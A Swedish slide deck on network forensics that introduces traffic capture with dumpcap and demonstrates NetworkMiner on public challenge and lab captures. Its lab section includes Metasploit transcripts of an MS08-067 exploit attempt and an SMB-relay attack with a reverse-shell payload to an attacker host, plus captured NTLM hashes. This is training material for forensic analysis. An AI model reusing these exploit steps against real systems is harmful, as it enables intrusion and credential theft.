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När används det?

●Polis
–Avlyssning av en misstänkts datatrafik

●CERT på företag/organisationer
–Analys av IT-säkerhetsincidenter



Erik Hjelmvik  3

Hur funkar det?

●Inkoppling
– SPAN-port
– Nätverks-TAP

●Inspelning
– Hårdvara:

NetWitness / Solera Networks
– Mjukvara:

tcpdump / dumpcap
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Exempel: dumpcap

#

# Spela in allt till/från IP 213.1.2.3

# Skapa en ny fil för varje 100MB

# Dumpa trafiken till filen ”wiretap.pcap”

#

> dumpcap -i 1 -f "host 213.1.2.3" -w       
  wiretap.pcap -b filesize:100000
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Demo: NetworkMiner
http://www.dfrws.org/2008/challenge/submission.shtml (suspect.pcap)

DFRWS 2008
Steve Vogon är misstänkt för att vara i kontakt med 
olagliga grupper. Steve tros ha använt sin privata laptop på 
företagsnätverket för sin suspekta verksamhet.

●Info om datorn som användes av Steve Vogon
●Aktiviteter:

– Google-sökningar
– E-post
– Besökta webbsidor

http://www.dfrws.org/2008/challenge/submission.shtml
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Demo: NetworkMiner
http://taosecurity.blogspot.com/2009/02/sample-lab-from-tcpip-weapons-school-20.html (case09.pcap)

TaoSecurity TCP/IP Weapons Scool
Samantha Athew får ett mail till sin personliga gmail-
adress. Mailet innehåller en HTML-fil som sägs vara ”a new 
cool Web page”. Efter att ha öppnat HTML-filen betedde sig 
hennes dator konstigt.

●Vilken är Samanthas gmail-adress?
●Vad hände när Samantha öppnade den bifogade HTML-
filen?

http://taosecurity.blogspot.com/2009/02/sample-lab-from-tcpip-weapons-school-20.html
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SMB-relay MITM attack

Samantha
192.168.230.4

Angripare
10.1.1.6

\\10.1.1.6\IPC$
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Autentisera dig!

samantha / C0 74 FF …
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samantha / CO 74 FF …

Login OK

\\192.168.230.4\ADMIN$



freebsd70:/usr/local/src/framework-3.2# ./msfconsole
 ____________
< metasploit >
 ------------
       \  ,__,
        \ (oo)____
          (__)    )\
             ||--|| *

       =[ msf v3.2-release
+ -- --=[ 269 exploits - 118 payloads
+ -- --=[ 17 encoders - 6 nops
       =[ 46 aux
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.230.4
RHOST => 192.168.230.4
msf exploit(ms08_067_netapi) > set TARGET 3
TARGET => 3
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[-] Exploit failed: The server responded with error: STATUS_OBJECT_NAME_NOT_FOUND
(Command=162 WordCount=0)
[*] Exploit completed, but no session was created.

MS08-068

freebsd70:/usr/local/src/framework-3.2# ./msfconsole
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       =[ msf v3.2-release
+ -- --=[ 269 exploits - 118 payloads
+ -- --=[ 17 encoders - 6 nops
       =[ 46 aux

msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > set SRVHOST 10.1.1.6
SRVHOST => 10.1.1.6
msf exploit(smb_relay) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(smb_relay) > set LHOST 10.1.1.6
LHOST => 10.1.1.6
msf exploit(smb_relay) > exploit
[*] Exploit running as background job.
msf exploit(smb_relay) >
[*] Started reverse handler
[*] Server started.
[*] Received 192.168.230.4:1108 \ LMHASH:00 NTHASH: OS:Windows 2002 Service Pack 2
2600 LM:Windows 2002 5.1
[*] Sending Access Denied to 192.168.230.4:1108 \
[*] Received 192.168.230.4:1108 FDCC-CD744D84E2\samantha
LMHASH:cc426e6c7fd8d7a96dc87c4c91688d4c8c7ccc015755aef8
NTHASH:c074ffbc23768404305b7c9af2e5739f010100000000000080c0375fca71c9018c7ccc015755aef
800000000020000000000000000000000 OS:Windows 2002 Service Pack 2 2600 LM:Windows 2002
5.1
[*] Authenticating to 192.168.230.4 as FDCC-CD744D84E2\samantha...
[*] AUTHENTICATED as FDCC-CD744D84E2\samantha...
[*] Connecting to the ADMIN$ share...
[*] Error processing request from 192.168.230.4:1108 (115):
Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error:
STATUS_ACCESS_DENIED (Command=117 WordCount=0)
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Testa NetworkMiner

http://networkminer.sourceforge.net/

http://networkminer.sourceforge.net/
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